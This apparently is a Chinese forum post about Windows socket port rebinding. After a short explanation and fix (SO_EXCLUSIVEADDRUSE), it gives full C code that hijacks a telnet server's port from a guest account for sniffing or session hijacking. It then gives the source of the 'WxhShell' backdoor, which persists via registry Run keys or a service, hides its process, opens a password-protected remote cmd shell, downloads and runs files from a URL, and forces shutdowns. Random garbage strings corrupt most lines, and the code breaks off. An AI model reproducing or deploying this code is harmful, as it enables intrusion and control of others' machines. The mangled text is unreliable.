在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
y[B>~m8$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8UC xnf# jls-@Wl saddr.sin_family = AF_INET;
RrUBpqA n
-( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
T91moRv z'T)=ycT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-*5Rnx|Y{ 4DZ-bt' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:Gm/ }D+}DPL{^ 这意味着什么?意味着可以进行如下的攻击:
@(r/dZc U9b?i$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|rm g#;/D *CHI2MB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
cGjPxG; 8@so"d2e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dOa%9[ H":oNpfb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>EY3/Go> %^RN#_ro(3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jy-{~xdg[ pz"0J_xDM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,VO2a mI )1X#*mCxk 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]U"94S U:) 13taFVdU #include
$Xq!L #include
1GzAG;UUo6 #include
6}r`/?"A1 #include
iLSr*`
o DWORD WINAPI ClientThread(LPVOID lpParam);
(o`{uj{! int main()
6j
~#[ {
2}8v(%s p WORD wVersionRequested;
GSH>7!.# DWORD ret;
SL5Ai/X0N WSADATA wsaData;
!qG7V:6 BOOL val;
$|8!BOx8t SOCKADDR_IN saddr;
Jv^h\~*jH SOCKADDR_IN scaddr;
.V,@k7U,V int err;
9T<x& SOCKET s;
EFz&N\2 SOCKET sc;
P&f7@MOV.P int caddsize;
J{Q|mD= HANDLE mt;
~@}Bi@* DWORD tid;
5{g?,/( wVersionRequested = MAKEWORD( 2, 2 );
%7|9sQ: err = WSAStartup( wVersionRequested, &wsaData );
`nu''B
H if ( err != 0 ) {
Ofs<EQ printf("error!WSAStartup failed!\n");
$< JaLS return -1;
9 AJ(&qY( }
<7~'; K saddr.sin_family = AF_INET;
A}l3cP;
`# dkz=CY3p%X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q.;u?,|E/ s7F.sg saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%^jMj2 saddr.sin_port = htons(23);
PUUwv_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wRVUu) {
u A<n printf("error!socket failed!\n");
RCpR3iC2 return -1;
m;,N)<~ }
Z.L c>7o val = TRUE;
x7Yu I //SO_REUSEADDR选项就是可以实现端口重绑定的
j:v@pzTD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
y+NN< EY@ {
1eF3` printf("error!setsockopt failed!\n");
5?x>9Ca return -1;
[1S|dc>.O% }
BI%$c~wS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
JJN.ugT}1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
vQ
6^xvk] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
uI )6M dl.p\t(1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8)_XJ"9)G {
SHfy".A6.0 ret=GetLastError();
"~|6tQLc printf("error!bind failed!\n");
9dx/hFA return -1;
.(cw>7e3D }
m+]K;}.}R listen(s,2);
3`DQo%< while(1)
]>5/PD,wWy {
o6.^*%kM' caddsize = sizeof(scaddr);
},{$*f[ //接受连接请求
ig/xv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z7fp#>uw if(sc!=INVALID_SOCKET)
~qTx|", {
+nFu|qM} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
lR6@
xJd:@ if(mt==NULL)
-&zZtDd F {
Rl?_^dPx printf("Thread Creat Failed!\n");
8p 'L#Q. break;
g}1B;zGf }
V17%=bCZ5[ }
iP ->S\ CloseHandle(mt);
r@H /kD }
"#2a8# closesocket(s);
n FHUy9q WSACleanup();
^ B fC return 0;
8;RUf~q? }
K0|FY=#2y DWORD WINAPI ClientThread(LPVOID lpParam)
6d<r= C= {
aC8} d SOCKET ss = (SOCKET)lpParam;
C)ERUH2i SOCKET sc;
YYBDRR" unsigned char buf[4096];
(c=6yV@ SOCKADDR_IN saddr;
\ C+~m long num;
1#< '&Lr DWORD val;
7x|9n DWORD ret;
T $ >&[f$6 //如果是隐藏端口应用的话,可以在此处加一些判断
dy%;W% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
; F"g$_D0 saddr.sin_family = AF_INET;
*&^Pj%DX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B"1c saddr.sin_port = htons(23);
yg<R=$n,Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rr],DGg+B] {
0d)M\lG printf("error!socket failed!\n");
IL#"~D? return -1;
hF~n)oQ }
`ts$(u.w val = 100;
k8&;lgO' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HdUQCugxx: {
Fo5FNNiID ret = GetLastError();
{HltvO%8 return -1;
XpB_N{v9w }
pP&7rRhw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qb-M6ihcc {
LM<qT-/qs ret = GetLastError();
l*(8i ^ return -1;
%rL.|q9
}
NX*Q F+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O`IQ(,yef {
'T*&'RQr printf("error!socket connect failed!\n");
dVtG/0 closesocket(sc);
6_GhO@lOG closesocket(ss);
itt3.:y return -1;
g[' ^L+hd }
-">;-3,K while(1)
u5`u>.! {
xX&+WR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n,y ZRY //如果是嗅探内容的话,可以再此处进行内容分析和记录
\h/H#jZJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]v UwG--* num = recv(ss,buf,4096,0);
cKca;SNql1 if(num>0)
G:<aB send(sc,buf,num,0);
#4<SAgq else if(num==0)
*SJ_z(CZm break;
:'X &bn num = recv(sc,buf,4096,0);
>C>.\ if(num>0)
gV's=cQ send(ss,buf,num,0);
KxJ!,F{>H else if(num==0)
~d.Y&b break;
DN>[\hg }
X]TG<r closesocket(ss);
#jvtUS \ closesocket(sc);
hR?{3d#x2 return 0 ;
`,<BCu }
hn
GZ= ;WQve_\ Ua: sye ==========================================================
gD@){Ip lgL%u K) 下边附上一个代码,,WXhSHELL
AofKw SwGx?U ==========================================================
hE D}h![ g
wRZ%.Cn #include "stdafx.h"
`r6 ,+& Q~
w|# #include <stdio.h>
Rsm^Z!sn #include <string.h>
W' VslZG #include <windows.h>
tCH!my_ #include <winsock2.h>
L
ca}J&x]^ #include <winsvc.h>
v0{i0%d,? #include <urlmon.h>
W:2( .? kiaw4_ #pragma comment (lib, "Ws2_32.lib")
Ty?cC** #pragma comment (lib, "urlmon.lib")
z2~til *Hn8)x}E #define MAX_USER 100 // 最大客户端连接数
kS);xA8s] #define BUF_SOCK 200 // sock buffer
D#C~pdp #define KEY_BUFF 255 // 输入 buffer
$bR~+C Dcgo%F-W #define REBOOT 0 // 重启
d7;um<%zn #define SHUTDOWN 1 // 关机
Se}c[|8 j3V
-LnA #define DEF_PORT 5000 // 监听端口
194)QeoFw y dA8wL #define REG_LEN 16 // 注册表键长度
)mT<MkP #define SVC_LEN 80 // NT服务名长度
S9y} v@L;x [Q // 从dll定义API
U?Zq6_M& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}o(-=lF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
PJ%C N(0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
kVMg 1I@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
oLeq!K}re -GrE}L // wxhshell配置信息
*L^,| struct WSCFG {
Z@S3ZGe int ws_port; // 监听端口
.|70; char ws_passstr[REG_LEN]; // 口令
|0b`fOS int ws_autoins; // 安装标记, 1=yes 0=no
i[3'ec3 char ws_regname[REG_LEN]; // 注册表键名
[}=B8#Jl-C char ws_svcname[REG_LEN]; // 服务名
aB&&YlR=n< char ws_svcdisp[SVC_LEN]; // 服务显示名
f}P3O3Yv& char ws_svcdesc[SVC_LEN]; // 服务描述信息
!*N@ZL&X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Bnxm HGP#& int ws_downexe; // 下载执行标记, 1=yes 0=no
F^;ez/Gl char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gR;i(81U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r`d4e,( \ ~$#1D1f };
N~)_DjQP5 FTUv IbT // default Wxhshell configuration
|/{=ww8| struct WSCFG wscfg={DEF_PORT,
VlsnL8DV "xuhuanlingzhe",
",; H`V 1,
##>H&,Dp[ "Wxhshell",
8cIKvHx "Wxhshell",
Ve; n}mJ? "WxhShell Service",
,#9PxwrO "Wrsky Windows CmdShell Service",
@qAS*3j "Please Input Your Password: ",
(uE!+2C 1,
]2KihP8z
x "
http://www.wrsky.com/wxhshell.exe",
S4z;7z(8+ "Wxhshell.exe"
?N9uu4 };
YU'E@t5 3F2w-+L // 消息定义模块
@#l= l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
hHnYtq char *msg_ws_prompt="\n\r? for help\n\r#>";
\_f(M| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
gjD Ho$ char *msg_ws_ext="\n\rExit.";
HIZe0%WPw char *msg_ws_end="\n\rQuit.";
2^nxoye char *msg_ws_boot="\n\rReboot...";
E ~<JC"] char *msg_ws_poff="\n\rShutdown...";
] (8[}CeL char *msg_ws_down="\n\rSave to ";
G_,jgg7 >|UOz& char *msg_ws_err="\n\rErr!";
%IWPM" char *msg_ws_ok="\n\rOK!";
%>{0yEC Tyx_/pJT char ExeFile[MAX_PATH];
/82b S| int nUser = 0;
s.C_Zf~3 HANDLE handles[MAX_USER];
aqk!T%fg int OsIsNt;
b8 likP"T M .mfw#* SERVICE_STATUS serviceStatus;
u^ ~W+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
eeB{c.# uKHxe~ // 函数声明
DB}eA N/ int Install(void);
4H&+dRI" int Uninstall(void);
eng'X-x int DownloadFile(char *sURL, SOCKET wsh);
+23xev int Boot(int flag);
jNk%OrP] void HideProc(void);
L4nYXW0y int GetOsVer(void);
VMWf>ZU int Wxhshell(SOCKET wsl);
pW3^X=6 void TalkWithClient(void *cs);
6j}9V
L77 int CmdShell(SOCKET sock);
4,DeHJjAlE int StartFromService(void);
t b}V5VH int StartWxhshell(LPSTR lpCmdLine);
}.6[qk ( a#BV}= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
v.qrz"98- VOID WINAPI NTServiceHandler( DWORD fdwControl );
&tj!*k' 4.t-i5 // 数据结构和表定义
^ [@, SERVICE_TABLE_ENTRY DispatchTable[] =
Ysv"
6b} {
ew4U)2J+ {wscfg.ws_svcname, NTServiceMain},
N~'c_l {NULL, NULL}
>z@0.pN]7 };
jse&DQ S)@j6(HC4 // 自我安装
sQZhXaMa $ int Install(void)
5r^(P {
Cw&KVw* char svExeFile[MAX_PATH];
H qx-;F~0 HKEY key;
xJ.M;SF4 strcpy(svExeFile,ExeFile);
utV_W& IH+|}z4N?> // 如果是win9x系统,修改注册表设为自启动
UkFC~17P if(!OsIsNt) {
x[e<} 8'$( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nqUV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zj'9rXhrM1 RegCloseKey(key);
m)v&v6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'm$L Ij?@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)9]P MA?u RegCloseKey(key);
p4Z(^+Aa return 0;
vnuN6M{ }
Ig{0Z"> }
f3y=Wxk[ }
c-sfg>0 ^ else {
b&U62iq c7H^$_^ = // 如果是NT以上系统,安装为系统服务
}0y"F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
pMM8-R'W- if (schSCManager!=0)
]7A'7p$Y {
493*{ SC_HANDLE schService = CreateService
7b+6%fV (
?}Y]|c^W schSCManager,
YN5rml'- wscfg.ws_svcname,
d&>^&>?$zh wscfg.ws_svcdisp,
a d\ot#V SERVICE_ALL_ACCESS,
4_ML],. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6_B]MN!( SERVICE_AUTO_START,
,PDQzJY SERVICE_ERROR_NORMAL,
MF'JeM;H svExeFile,
6ik$B NULL,
'~ 47)fN NULL,
.T`%tJ-Em NULL,
E2-\]?\F( NULL,
Wx#;E9=Im NULL
))Za&S*< );
:g/tZd$G5 if (schService!=0)
uPvEwq*
C {
}x,S%M- CloseServiceHandle(schService);
apn*,7ps65 CloseServiceHandle(schSCManager);
1|:KQl2q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;hq\ strcat(svExeFile,wscfg.ws_svcname);
Q/Rqa5LI: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
h{qgEIk& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+b6v!7_ RegCloseKey(key);
x4O~q0>:Le return 0;
kq-) ^,{y }
|N] XJ)? }
K(|}dl: CloseServiceHandle(schSCManager);
/$%%s=@IL }
lU]nd[x }
7t3!)a|lI k}rbim return 1;
}6ldjCT/, }
%
]U vP,n(reM // 自我卸载
N$tGQ@
int Uninstall(void)
*n!J=yS {
NxILRKwO HKEY key;
0"SU_jQzv ~.|_ RdN if(!OsIsNt) {
vih9KBT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J[kTlHMD RegDeleteValue(key,wscfg.ws_regname);
Dt1jW RegCloseKey(key);
4I[P> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B<C&xDRZ0 RegDeleteValue(key,wscfg.ws_regname);
\{D"
!e RegCloseKey(key);
bI`g|v return 0;
),!qTjD }
6S{l'!s' }
Fk;Rfqq }
ugBCBr else {
_"{Xi2@H HVAYPerH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{4PwLCy if (schSCManager!=0)
9tnD=A<PS {
!n%j)`0M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nr3==21Om4 if (schService!=0)
z@j8lv2j1 {
H,NF;QPPC if(DeleteService(schService)!=0) {
HbIF^LeY|R CloseServiceHandle(schService);
Alq(QDs CloseServiceHandle(schSCManager);
@}ZVtrz return 0;
6dYMwMH }
"Y.y:Vv; CloseServiceHandle(schService);
p
K$`$H }
R|Q?KCI& CloseServiceHandle(schSCManager);
8?C5L8) }
47B&s
}
5-A\9UC*@ _VXN#@y return 1;
"gwSJ~:ds }
*K;~!P -n;}n:wL // 从指定url下载文件
WY]s |2a int DownloadFile(char *sURL, SOCKET wsh)
d"Y{UE {
S8gs-gL#Og HRESULT hr;
d d;T-wa} char seps[]= "/";
fB,_9K5i char *token;
##ANrG l char *file;
i@'dH3-kO
char myURL[MAX_PATH];
P93@;{c( char myFILE[MAX_PATH];
6H|S;K+ ;n},"& strcpy(myURL,sURL);
sR8"3b<qA token=strtok(myURL,seps);
3gf1ownC while(token!=NULL)
g\AY|;T {
%
u6Sr5A[s file=token;
b`_Q8 J token=strtok(NULL,seps);
B7%U_F|m }
FgO)DQm #fM'>$N GetCurrentDirectory(MAX_PATH,myFILE);
IGN1gs strcat(myFILE, "\\");
B/C,.?Or strcat(myFILE, file);
-F>jIgeC2v send(wsh,myFILE,strlen(myFILE),0);
I}Q2Vu< send(wsh,"...",3,0);
J=yTbSN\v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3uMy]HUQ if(hr==S_OK)
DTs;{c return 0;
}~q5w{_n else
']oQ]Yx0 return 1;
w*Ihk) {>;R?TG]$ }
L0]_X#s># &.ACd+Cd // 系统电源模块
<-0]i_4sK int Boot(int flag)
92-I~
!d {
WPDyu.QD HANDLE hToken;
O
H7FkR TOKEN_PRIVILEGES tkp;
0BsYavCR
2TuU2 f. if(OsIsNt) {
y> (w\K9W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8>%hz$no= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(iGTACoF tkp.PrivilegeCount = 1;
d!{r v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
q'11^V!0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B1Oq!k if(flag==REBOOT) {
:H[6Lg\* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0(btA~'* return 0;
SY8C4vb'h }
U<-D(J else {
CH/rp4NeSy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^W@5TkkBQq return 0;
"h ^Z }
)CyS#j#= }
F&Hrk|a else {
F<w/PMb if(flag==REBOOT) {
ZG@q`<:j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
MY/}-*| return 0;
LIdF 0 }
h1(4Ic else {
Np)lIGE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
J.
@9zA& return 0;
]N[ 5q=A5 }
GH
xp7H }
*owU)
;=UsAB] return 1;
&-=5Xc+Z }
u-C)v*#L d5l UGRg // win9x进程隐藏模块
QdC<Sk!G void HideProc(void)
a}uSm/S {
.[ mRM 2px|_)i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X8`Sf> if ( hKernel != NULL )
]:\dPw`A {
.x1NWGDn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KY N0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
E~:x(5'%d FreeLibrary(hKernel);
jA/w|\d! }
D,ln)["xm C8 \^#5 return;
TOAAQ }
K4);HJ|= 8x{'@WCG% // 获取操作系统版本
bYPK h int GetOsVer(void)
'Z |mQZN {
ctJE+1#PH OSVERSIONINFO winfo;
8sCv]|cn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bs'n+:X` GetVersionEx(&winfo);
]0\MmAJRn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VD\=`r)nT return 1;
t()c=8qF|u else
A +)`ZTuO return 0;
v9->nVc- }
zv"Z DRW Hq 188< // 客户端句柄模块
T,tdL
N- int Wxhshell(SOCKET wsl)
j8`BdKg {
YrKWA SOCKET wsh;
+2j AC r struct sockaddr_in client;
BF <ikilR DWORD myID;
{qMIGwu !?gKqx'T$ while(nUser<MAX_USER)
k#rBB {
PiYxk+N int nSize=sizeof(client);
6JQ'Ik;$wX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
O7IJ%_A& if(wsh==INVALID_SOCKET) return 1;
8&aq/4:q0 k@:%:Sj 2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#C3.Jef if(handles[nUser]==0)
-D$8 closesocket(wsh);
m9Hit8f@Q else
#1G:lhkC nUser++;
""|Qtubv }
>e"#'K0?\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YUIi; :08,JL{ return 0;
?S$P9^ii' }
xF44M]i 8ITdSg // 关闭 socket
'6Q=#:mc\ void CloseIt(SOCKET wsh)
C73kJa {
?1eK#Z. closesocket(wsh);
Ue~CwFOc nUser--;
>oe]$r ExitThread(0);
^a1^\X.~ }
:[!j?)%> abLnI =W` // 客户端请求句柄
uU25iDn void TalkWithClient(void *cs)
Z/;aT -N {
I(0~n,=j iW /}# SOCKET wsh=(SOCKET)cs;
9p2&)kb6 char pwd[SVC_LEN];
cjIh}:|' char cmd[KEY_BUFF];
<3hRyG@vB char chr[1];
%- 0t?/> int i,j;
;BIY^6,7e .h4 \Y A while (nUser < MAX_USER) {
w:Kl6"c ~`:L?Jkb6H if(wscfg.ws_passstr) {
5N&?KA- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!=P1% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s}% M4 //ZeroMemory(pwd,KEY_BUFF);
P}7 'm
M i=0;
fx>4 while(i<SVC_LEN) {
p"ZG%Ow5Q] P(z++A& // 设置超时
1HZO9cXJ fd_set FdRead;
';=O 0)u struct timeval TimeOut;
=rCIumqD-} FD_ZERO(&FdRead);
pD#rnp>WWt FD_SET(wsh,&FdRead);
.UY^oR=b{ TimeOut.tv_sec=8;
KNIn:K^/ TimeOut.tv_usec=0;
)f<z%:I+Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
m-"w0Rl1T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3x'|]Ns "5wa91* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
X*@dj_, pwd
=chr[0]; _t #k,;
if(chr[0]==0xd || chr[0]==0xa) { o$lM$E:
pwd=0; _8_R 1s
break; 4u5-7[TZ
} ?'{SX9
i++; @7j AL -
} v<(
"mvt>X
// 如果是非法用户,关闭 socket h|{]B,.Lh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <T|3`#o0
} [}0haTYc4
EGF '"L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 76h ,]xi
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oEKvl3Hz_
U0N 60
while(1) { }oGA-Qc}B
~gZLY ls
ZeroMemory(cmd,KEY_BUFF); Q:k}Jl
j yUCH*@
// 自动支持客户端 telnet标准
DwE[D]7o
j=0; 8i#2d1O
while(j<KEY_BUFF) { !58@pLJw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !\.pq 2
cmd[j]=chr[0]; ^N{h3b8
if(chr[0]==0xa || chr[0]==0xd) { XG{zlOD+
cmd[j]=0; &H/'rd0M
break; D (?DW}Rqs
} iN8zo:&Z
j++; M {T-iW"
} Lhb35;\
* kDC liL
// 下载文件 IE/^\ M
if(strstr(cmd,"http://")) { ieCEo|b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )g#T9tx2D
if(DownloadFile(cmd,wsh)) 0Y{yKL
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
qwgPk9l
else CxO ob1@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dufu|BL|}
} Ata:^qI
else { :hk5 .[
Y;^l%ePuW
switch(cmd[0]) { 3>`mI8$t
}" %?et(
// 帮助 EGU
0)<
case '?': { SdxDa
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9BBmw(M}
break; kr:^tbJ
} a:IC)]j$_
// 安装 EF}\brD1
case 'i': { r8rgY42
if(Install()) J({Xg?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vJc- 6EO
else -23w2Qt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >T3-
break; {~"/Y@&]R
}
mt p+rr
// 卸载 ]e>w}L(gV
case 'r': { hwBfdZ
if(Uninstall()) 9YQb&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+BQww
else Z|j>gq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [KaAXv
.X
break; < ?}-$
} V0.vQ/
// 显示 wxhshell 所在路径 s.N/2F&*W
case 'p': { J1RJ*mo7,
char svExeFile[MAX_PATH]; cyv`B3}
strcpy(svExeFile,"\n\r"); 4n g]\ituS
strcat(svExeFile,ExeFile); JZ*/,|1}EC
send(wsh,svExeFile,strlen(svExeFile),0); BmMGx8P
break; 6x[}g
} A _
N;
// 重启 FvXZ<(A{
case 'b': { \[_t]'p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a /l)qB#
if(Boot(REBOOT)) '(yAfL 9}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =eXU@B
else { Yi+wC}
closesocket(wsh); `nv~NLkl
ExitThread(0); OXSmt
DvJ
} #crQ1p) \
break; 5Y'qaIFR
} ~f1%8z
// 关机 lVR~Bh
case 'd': { T?soJ]A
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E=CsIK
if(Boot(SHUTDOWN)) E+R1 !.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q`H_M{26!y
else { mD0f<gJ1
closesocket(wsh); ith
3=`3
ExitThread(0); M!A}NWF
} A8fOQ
break; ;F!5%}OcL%
} iWB=sL&p
// 获取shell aS{n8P6vW
case 's': { (*nT(Adk
CmdShell(wsh); [.'|_l
closesocket(wsh); y'~U%,ki6
ExitThread(0); +]A:M6P:{v
break;
bv9i*]
} Ym{tR,g7
// 退出 ?U5{Wa85D
case 'x': { 6?mibvK
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^HThN
CloseIt(wsh); % X+:o]T
break; RLynEV;]
} ~u!|qM
// 离开 J^nBdofP
case 'q': { 8#
>op6^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); F2dHH^
closesocket(wsh); $@Rxrx_@M
WSACleanup(); #ASz;$P
exit(1); U;V7 u/{
break; lL3khJ:%
} uK#4(eY=W
} gA5/,wDO
} {M$1N5Eh
3yY}04[9<
// 提示信息 z(e xA
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nntuLuW
} <fjX[l<Uz
} |`f$tj
Av$^
return; 7 60Y$/Wz
} z8~NZ;A
#`iB`|
// shell模块句柄 .hP D$o
int CmdShell(SOCKET sock) ARVf[BAJ-*
{ 2d(e:rh]
STARTUPINFO si; t#/YN.@r
ZeroMemory(&si,sizeof(si)); !t%j?\f
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VT%NO'0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /W30~y
PROCESS_INFORMATION ProcessInfo; :P\7iW
char cmdline[]="cmd"; Ic:(Gi- %
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,I$`-$_'
return 0; el<s8:lA
} G<8/F<m/
gJXq^~-hd
// 自身启动模式 9ni1f{k
int StartFromService(void) $s c
{ dA`IEQJL
typedef struct E7 Ul;d
{ 3cyHfpx-W
DWORD ExitStatus; p8H'{f\G
DWORD PebBaseAddress; .fFCC`&T
DWORD AffinityMask; A*R^n}sh
DWORD BasePriority; |y#
Jx
ULONG UniqueProcessId; *74MWF@IY
ULONG InheritedFromUniqueProcessId; }wjw:M
